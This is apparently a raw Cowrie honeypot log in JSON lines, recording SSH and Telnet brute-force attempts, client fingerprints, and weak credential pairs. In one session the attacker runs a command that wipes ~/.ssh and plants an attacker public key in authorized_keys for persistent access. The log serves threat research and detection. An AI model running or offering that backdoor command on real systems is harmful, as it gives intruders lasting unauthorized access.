{"eventid":"cowrie.session.connect","src_ip":"45.142.193.6","src_port":40685,"dst_ip":"10.17.0.5","dst_port":23,"session":"df0e1eb73ea1","protocol":"telnet","message":"New connection: 45.142.193.6:40685 (10.17.0.5:23) [session: df0e1eb73ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:30.488578Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":64690,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc199fc35b3","protocol":"ssh","message":"New connection: 107.150.103.210:64690 (10.17.0.5:22) [session: dbc199fc35b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:39.328574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:39.333425Z","src_ip":"107.150.103.210","session":"dbc199fc35b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:39.403678Z","src_ip":"107.150.103.210","session":"dbc199fc35b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"blabla123x!","message":"login attempt [ubuntu/blabla123x!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:39.735243Z","src_ip":"107.150.103.210","session":"dbc199fc35b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:40.809428Z","src_ip":"107.150.103.210","session":"dbc199fc35b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":10404,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6657c7eda6f","protocol":"ssh","message":"New connection: 211.178.247.182:10404 (159.203.135.109:22) [session: d6657c7eda6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:41.762970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:41.768345Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:41.957702Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.040065050125122,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:42.528517Z","src_ip":"45.142.193.6","session":"df0e1eb73ea1","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"welcome","message":"login attempt [oracle/welcome] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:42.747671Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.178513Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.182062Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.185878Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.377942Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.795174Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.798589Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.992383Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:43.996126Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":15217,"dst_ip":"159.203.135.109","dst_port":22,"session":"746045bd198f","protocol":"ssh","message":"New connection: 211.178.247.182:15217 (159.203.135.109:22) [session: 746045bd198f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:44.177794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:44.183033Z","src_ip":"211.178.247.182","session":"746045bd198f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:44.372583Z","src_ip":"211.178.247.182","session":"746045bd198f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:45.170362Z","src_ip":"211.178.247.182","session":"746045bd198f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:46.365823Z","src_ip":"211.178.247.182","session":"746045bd198f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":17406,"dst_ip":"159.203.135.109","dst_port":22,"session":"c766b0f37279","protocol":"ssh","message":"New connection: 211.178.247.182:17406 (159.203.135.109:22) [session: c766b0f37279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:46.547130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:46.555423Z","src_ip":"211.178.247.182","session":"c766b0f37279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:46.743670Z","src_ip":"211.178.247.182","session":"c766b0f37279","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:47.517586Z","src_ip":"211.178.247.182","session":"c766b0f37279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:47.711483Z","src_ip":"211.178.247.182","session":"c766b0f37279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:47.717933Z","src_ip":"211.178.247.182","session":"d6657c7eda6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":47790,"dst_ip":"10.17.0.5","dst_port":22,"session":"80199b81d0a2","protocol":"ssh","message":"New connection: 50.6.248.168:47790 (10.17.0.5:22) [session: 80199b81d0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:54.203607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:54.208582Z","src_ip":"50.6.248.168","session":"80199b81d0a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:54.219440Z","src_ip":"50.6.248.168","session":"80199b81d0a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234512345","message":"login attempt [ubuntu/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:54.294581Z","src_ip":"50.6.248.168","session":"80199b81d0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:55.309464Z","src_ip":"50.6.248.168","session":"80199b81d0a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":16247,"dst_ip":"159.203.135.109","dst_port":22,"session":"72a2b8d7635f","protocol":"ssh","message":"New connection: 211.178.247.182:16247 (159.203.135.109:22) [session: 72a2b8d7635f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:52:35.602700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:52:35.610214Z","src_ip":"211.178.247.182","session":"72a2b8d7635f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:52:35.798018Z","src_ip":"211.178.247.182","session":"72a2b8d7635f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"access#123","message":"login attempt [admin/access#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:52:36.581978Z","src_ip":"211.178.247.182","session":"72a2b8d7635f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:52:37.781712Z","src_ip":"211.178.247.182","session":"72a2b8d7635f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":22039,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb5d0bc457f","protocol":"ssh","message":"New connection: 211.178.247.182:22039 (159.203.135.109:22) [session: fdb5d0bc457f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:53:29.105721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:53:29.110141Z","src_ip":"211.178.247.182","session":"fdb5d0bc457f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","a